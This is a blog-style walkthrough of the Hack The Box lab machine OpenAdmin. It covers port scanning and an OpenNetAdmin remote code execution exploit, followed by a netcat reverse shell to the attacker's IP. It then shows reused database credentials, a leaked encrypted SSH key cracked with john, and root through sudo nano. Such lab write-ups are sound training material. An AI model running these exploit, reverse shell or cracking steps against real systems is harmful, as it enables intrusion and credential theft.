OpenAdmin HTB

the-coder · May 6, 2020

hacking   htb

ip: 10.10.10.171

os: linux

host: openadmin.htb

Ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/ona

/artwork seem to have a blog running /music also seems to be a blog /ona this is the entry point, OpenNetAdmin

dirbuster with directory-list-2.3-medium.txt revealed interesting dir, ona.

Foothold

# python3 ona-rce.py exploit http://openadmin.htb/ona
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.199 1111 >/tmp/f

Local User

Got this hint from the /ona user info, it states which dbname is it using. Then do grep -iarn 'ona_default, get the db creds. This is being reused by the webadmin jimmy

www-data@openadmin:/var/www/ona$ cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>www-data@openadmin:/var/www/ona$

Reuse this cred and user jimmy to ssh in.

Local Root

jimmy@openadmin:/var/www/internal$ ss -atlpn
State               Recv-Q               Send-Q                              Local Address:Port                               Peer Address:Port
LISTEN              0                    80                                      127.0.0.1:3306                                    0.0.0.0:*
LISTEN              0                    128                                     127.0.0.1:52846                                   0.0.0.0:*
LISTEN              0                    128                                 127.0.0.53%lo:53                                      0.0.0.0:*
LISTEN              0                    128                                       0.0.0.0:22                                      0.0.0.0:*
LISTEN              0                    128                                             *:80                                            *:*
LISTEN              0                    128                                          [::]:22                                         [::]:*
jimmy@openadmin:/var/www/internal$

52846 has another web server running, but it is internal only.

jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

based on this, it seems when username is set, it will just print the id_rsa of joanna. So just need to put username as whatever in curl.

jimmy@openadmin:/var/www/internal$ curl localhost:52846/main.php --data 'username=jimmy'
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$


kali@kali $ ssh joanna@openadmin.htb -i joanna.id_rsa
Enter passphrase for key 'joanna.id_rsa':

oops, looks like the rsa key is encrypted. Sidenote: kali doesn’t have ssh2john command anymore, it’s in python script /usr/share/john/ssh2john.py

kali@kali $ python3 /usr/share/john/ssh2john.py joanna.id_rsa
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
  data = base64.decodestring(data)
joanna.id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

Cracking with john

kali@kali $ sudo john joanna.hash -wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-04-25 23:15) 0.3174g/s 4552Kp/s 4552Kc/s 4552KC/sa6_123..*7¡Vamos!
Session completed

Now, we can login as joanna to openadmin.htb

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$

so based on this, we can see joanna can run /bin/nano with sudo without password.

joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
2f9**************************561

Reference: https://gtfobins.github.io/gtfobins/nano/

Lesson

  • try out with different wordlists for dirbusting.
  • check if anyone reused credentials from say webapps
  • check sudo -l before even trying for normal priv esc
  • gtfobins is a good resource

Twitter, Facebook